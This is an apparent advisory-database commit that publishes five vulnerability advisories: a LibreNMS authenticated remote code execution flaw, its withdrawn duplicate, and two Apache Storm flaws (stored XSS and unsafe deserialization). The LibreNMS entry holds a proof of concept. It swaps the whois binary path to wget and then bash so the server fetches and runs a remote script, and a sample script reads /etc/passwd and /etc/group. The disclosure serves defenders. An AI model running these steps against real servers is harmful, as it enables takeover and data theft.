Skip to content

Commit d5fb20b

Browse files
advisory-database[bot]advisory-database[bot]
committed
Publish Advisories
GHSA-pr3g-phhr-h8fh GHSA-7549-ggpq-22w8 GHSA-f2hp-qw27-8wfq GHSA-jf89-3q6q-vcgr GHSA-7549-ggpq-22w8
1 parent c30f216 commit d5fb20b

File tree

5 files changed

+136
-53
lines changed

5 files changed

+136
-53
lines changed

‎advisories/github-reviewed/2026/03/GHSA-pr3g-phhr-h8fh/GHSA-pr3g-phhr-h8fh.json‎

Lines changed: 14 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -1,15 +1,17 @@
11
{
22
"schema_version": "1.4.0",
33
"id": "GHSA-pr3g-phhr-h8fh",
4-
"modified": "2026-03-26T18:04:01Z",
4+
"modified": "2026-04-14T22:52:48Z",
55
"published": "2026-03-26T18:04:01Z",
6-
"aliases": [],
6+
"aliases": [
7+
"CVE-2026-6204"
8+
],
79
"summary": "LibreNMS is Vulnerable to Remote Code Execution by Arbitrary File Write",
810
"details": "### Summary\nA vulnerability has been identified that allows an authenticated administrator to execute arbitrary code on the host server. By modifying the binary path settings for built-in network tools and bypassing an input filter, an attacker with administrative privileges can download and execute malicious payloads.\n\n### Details\nThe application allows administrative users to configure the absolute binary paths for network diagnostic tools at `/settings/external/binaries`. This setting does not sufficiently validate ensuring the paths remain restricted to safe, intended executables. These tools are invoked by sending a request to the `GET /ajax/netcmd` endpoint. While there is an existing input filter designed to restrict arguments to valid IP addresses or hostnames, this filter can be bypassed.\n\n### PoC\nTo reproduce this vulnerability, a remote HTTP server should be hosted with a malicious script/executable, ensure the remote server is reachable by the server running LibreNMS. The PoC will use the file `malicious.sh` containing the following content. It will return the content of /etc/passwd and /etc/group, current working directory, username that is running the script, and it will list files of the current directory.\n\n```bash\n#!/usr/bin/env bash\n\ncat /etc/passwd\ncat /etc/group\nwhoami\npwd\nls\n```\n\n1. Host a remote HTTP server that the server can reach and place the malicious script on the remote server. For demonstration, I will start it on localhost.\n<img width=\"593\" height=\"481\" alt=\"image\" src=\"https://github.com/user-attachments/assets/ef235f8e-089b-462c-b12c-7b5ae2037fc5\" />\n\n2. Make sure the malicious script `malicious.sh` can be downloaded. \n<img width=\"516\" height=\"100\" alt=\"image\" src=\"https://github.com/user-attachments/assets/60b04755-e824-4384-81f2-2feacdc8e273\" />\n\n3. Login with an admin account and navigate to Global Settings -> External -> Binary Locations\n<img width=\"797\" height=\"201\" alt=\"image\" src=\"https://github.com/user-attachments/assets/f914cc9e-f45b-444f-8f16-058101d84576\" />\n\n4. Change the whois binary path to the path of wget (e.g. /usr/bin/wget).\n<img width=\"478\" height=\"58\" alt=\"image\" src=\"https://github.com/user-attachments/assets/57fbf033-ff07-41dc-9bac-2f3b3e897ea6\" />\n\n5. Send the request `GET /ajax/netcmd?cmd=whois&query={remote http server's ip address}/malicious.sh`. The response should contain wget's output, and malicious.sh would be downloaded by the server.\n<img width=\"900\" height=\"209\" alt=\"image\" src=\"https://github.com/user-attachments/assets/942b6082-18db-4838-b06c-b98d7fa1f8d0\" />\n\n6. After that, change the whois binary path to the path of bash (e.g. /bin/bash). \n<img width=\"751\" height=\"56\" alt=\"image\" src=\"https://github.com/user-attachments/assets/0c11d86e-0dab-4780-bdb7-f328bbb758f8\" />\n\n7. Send the request GET /ajax/netcmd?cmd=whois&query=malicious.sh to execute the script. \n<img width=\"846\" height=\"688\" alt=\"image\" src=\"https://github.com/user-attachments/assets/d4dcf8e9-5a75-407c-8dd4-96d11f090dbe\" />\n\n### Impact\nThis vulnerability allows a malicious actor to achieve Remote Code Execution (RCE), potentially leading to complete system compromise, data exfiltration, or lateral movement within the network.\n\n### Remediation Advice\nLoading Binary Path from a config file instead of exposing settings in WebUI can eliminate this issue. If it is not possible, enforcing more validations and fix the `ip_or_hostname` bypass in https://github.com/librenms/librenms/blob/master/app/Providers/AppServiceProvider.php#L169 to reduce the risk of RCE.\n\n### Prerequisite\nThe attacker must have a valid Administrator account to exploit this vulnerability.",
911
"severity": [
1012
{
1113
"type": "CVSS_V4",
12-
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N"
14+
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N"
1315
}
1416
],
1517
"affected": [
@@ -38,19 +40,26 @@
3840
"type": "WEB",
3941
"url": "https://github.com/librenms/librenms/security/advisories/GHSA-pr3g-phhr-h8fh"
4042
},
43+
{
44+
"type": "ADVISORY",
45+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-6204"
46+
},
4147
{
4248
"type": "PACKAGE",
4349
"url": "https://github.com/librenms/librenms"
4450
},
4551
{
4652
"type": "WEB",
4753
"url": "https://github.com/librenms/librenms/blob/master/app/Providers/AppServiceProvider.php#L169"
54+
},
55+
{
56+
"type": "WEB",
57+
"url": "https://projectblack.io/blog/librenms-authenticated-rce-and-xss/#binary-path-rce-poc"
4858
}
4959
],
5060
"database_specific": {
5161
"cwe_ids": [
52-
"CWE-78",
53-
"CWE-79"
62+
"CWE-78"
5463
],
5564
"severity": "HIGH",
5665
"github_reviewed": true,

‎advisories/github-reviewed/2026/04/GHSA-7549-ggpq-22w8/GHSA-7549-ggpq-22w8.json‎

Lines changed: 64 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,64 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-7549-ggpq-22w8",
4+
"modified": "2026-04-14T22:51:57Z",
5+
"published": "2026-04-13T12:31:15Z",
6+
"withdrawn": "2026-04-14T22:51:57Z",
7+
"aliases": [],
8+
"summary": "Duplicate Advisory: LibreNMS is Vulnerable to Remote Code Execution by Arbitrary File Write",
9+
"details": "## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-pr3g-phhr-h8fh. This link is maintained to preserve external references.\n\n## Original Description\nLibreNMS versions before 26.3.0 are affected by an authenticated remote code execution vulnerability by abusing the Binary Locations config and the Netcommand feature. Successful exploitation requires administrative privileges. Exploitation could result in compromise of the underlying web server.",
10+
"severity": [
11+
{
12+
"type": "CVSS_V4",
13+
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X"
14+
}
15+
],
16+
"affected": [
17+
{
18+
"package": {
19+
"ecosystem": "Packagist",
20+
"name": "librenms/librenms"
21+
},
22+
"ranges": [
23+
{
24+
"type": "ECOSYSTEM",
25+
"events": [
26+
{
27+
"introduced": "0"
28+
},
29+
{
30+
"fixed": "26.3.0"
31+
}
32+
]
33+
}
34+
]
35+
}
36+
],
37+
"references": [
38+
{
39+
"type": "WEB",
40+
"url": "https://github.com/librenms/librenms/security/advisories/GHSA-pr3g-phhr-h8fh"
41+
},
42+
{
43+
"type": "ADVISORY",
44+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-6204"
45+
},
46+
{
47+
"type": "PACKAGE",
48+
"url": "https://github.com/librenms/librenms"
49+
},
50+
{
51+
"type": "WEB",
52+
"url": "https://projectblack.io/blog/librenms-authenticated-rce-and-xss/#binary-path-rce-poc"
53+
}
54+
],
55+
"database_specific": {
56+
"cwe_ids": [
57+
"CWE-78"
58+
],
59+
"severity": "HIGH",
60+
"github_reviewed": true,
61+
"github_reviewed_at": "2026-04-14T22:51:57Z",
62+
"nvd_published_at": "2026-04-13T11:16:06Z"
63+
}
64+
}

advisories/unreviewed/2026/04/GHSA-f2hp-qw27-8wfq/GHSA-f2hp-qw27-8wfq.json renamed to advisories/github-reviewed/2026/04/GHSA-f2hp-qw27-8wfq/GHSA-f2hp-qw27-8wfq.json

Lines changed: 29 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -1,24 +1,49 @@
11
{
22
"schema_version": "1.4.0",
33
"id": "GHSA-f2hp-qw27-8wfq",
4-
"modified": "2026-04-13T15:31:41Z",
4+
"modified": "2026-04-14T22:50:39Z",
55
"published": "2026-04-13T12:31:15Z",
66
"aliases": [
77
"CVE-2026-35565"
88
],
9+
"summary": " Apache Storm UI: Stored Cross-Site Scripting (XSS) via Unsanitized Topology Metadata",
910
"details": "Stored Cross-Site Scripting (XSS) via Unsanitized Topology Metadata in Apache Storm UI\n\n\nVersions Affected: before 2.8.6\n\n\nDescription: The Storm UI visualization component interpolates topology metadata including component IDs, stream names, and grouping values directly into HTML via innerHTML in parseNode() and parseEdge() without sanitization at any layer. An authenticated user with topology submission rights could craft a topology containing malicious HTML/JavaScript in component identifiers (e.g., a bolt ID containing an onerror event handler). This payload flows through Nimbus → Thrift → the Visualization API → vis.js tooltip rendering, resulting in stored cross-site scripting. \n\nIn multi-tenant deployments where topology submission is available to less-trusted users but the UI is accessed by operators or administrators, this enables privilege escalation through script execution in an admin's browser session.\n\n\nMitigation: 2.x users should upgrade to 2.8.6. Users who cannot upgrade immediately should monkey-patch the parseNode() and parseEdge() functions in the visualization JavaScript file to HTML-escape all API-supplied values including nodeId, :capacity, :latency, :component, :stream, and :grouping before interpolation into tooltip HTML strings, and should additionally restrict topology submission to trusted users via Nimbus ACLs as a defense-in-depth measure. A guide on how to do this is available in the release notes of 2.8.6.\n\nCredit: This issue was discovered while investigating another report by K.",
1011
"severity": [
1112
{
1213
"type": "CVSS_V3",
1314
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N"
1415
}
1516
],
16-
"affected": [],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "Maven",
21+
"name": "org.apache.storm:storm-webapp"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "2.8.6"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
1738
"references": [
1839
{
1940
"type": "ADVISORY",
2041
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35565"
2142
},
43+
{
44+
"type": "PACKAGE",
45+
"url": "https://github.com/apache/storm"
46+
},
2247
{
2348
"type": "WEB",
2449
"url": "https://storm.apache.org/2026/04/12/storm286-released.html"
@@ -33,8 +58,8 @@
3358
"CWE-79"
3459
],
3560
"severity": "MODERATE",
36-
"github_reviewed": false,
37-
"github_reviewed_at": null,
61+
"github_reviewed": true,
62+
"github_reviewed_at": "2026-04-14T22:50:39Z",
3863
"nvd_published_at": "2026-04-13T10:16:11Z"
3964
}
4065
}

advisories/unreviewed/2026/04/GHSA-jf89-3q6q-vcgr/GHSA-jf89-3q6q-vcgr.json renamed to advisories/github-reviewed/2026/04/GHSA-jf89-3q6q-vcgr/GHSA-jf89-3q6q-vcgr.json

Lines changed: 29 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -1,24 +1,49 @@
11
{
22
"schema_version": "1.4.0",
33
"id": "GHSA-jf89-3q6q-vcgr",
4-
"modified": "2026-04-13T15:31:41Z",
4+
"modified": "2026-04-14T22:51:32Z",
55
"published": "2026-04-13T12:31:15Z",
66
"aliases": [
77
"CVE-2026-35337"
88
],
9+
"summary": "Apache Storm: Deserialization of Untrusted Data vulnerability",
910
"details": "Deserialization of Untrusted Data vulnerability in Apache Storm.\n\nVersions Affected:\nbefore 2.8.6.\n\n\nDescription:\nWhen processing topology credentials submitted via the Nimbus Thrift API, Storm deserializes the base64-encoded TGT blob using ObjectInputStream.readObject() without any class filtering or validation. An authenticated user with topology submission rights could supply a crafted serialized object in the \"TGT\" credential field, leading to remote code execution in both the Nimbus and Worker JVMs.\n\n\nMitigation:\n2.x users should upgrade to 2.8.6.\n\n\nUsers who cannot upgrade immediately should monkey-patch an ObjectInputFilter allow-list to ClientAuthUtils.deserializeKerberosTicket() restricting deserialized classes to javax.security.auth.kerberos.KerberosTicket and its known dependencies. A guide on how to do this is available in the release notes of 2.8.6.\n\nCredit: This issue was discovered by K.",
1011
"severity": [
1112
{
1213
"type": "CVSS_V3",
1314
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"
1415
}
1516
],
16-
"affected": [],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "Maven",
21+
"name": "org.apache.storm:storm-client"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "2.8.6"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
1738
"references": [
1839
{
1940
"type": "ADVISORY",
2041
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35337"
2142
},
43+
{
44+
"type": "PACKAGE",
45+
"url": "https://github.com/apache/storm"
46+
},
2247
{
2348
"type": "WEB",
2449
"url": "https://storm.apache.org/2026/04/12/storm286-released.html"
@@ -33,8 +58,8 @@
3358
"CWE-502"
3459
],
3560
"severity": "HIGH",
36-
"github_reviewed": false,
37-
"github_reviewed_at": null,
61+
"github_reviewed": true,
62+
"github_reviewed_at": "2026-04-14T22:51:32Z",
3863
"nvd_published_at": "2026-04-13T10:16:11Z"
3964
}
4065
}

‎advisories/unreviewed/2026/04/GHSA-7549-ggpq-22w8/GHSA-7549-ggpq-22w8.json‎

Lines changed: 0 additions & 40 deletions
This file was deleted.

0 commit comments

Comments
 (0)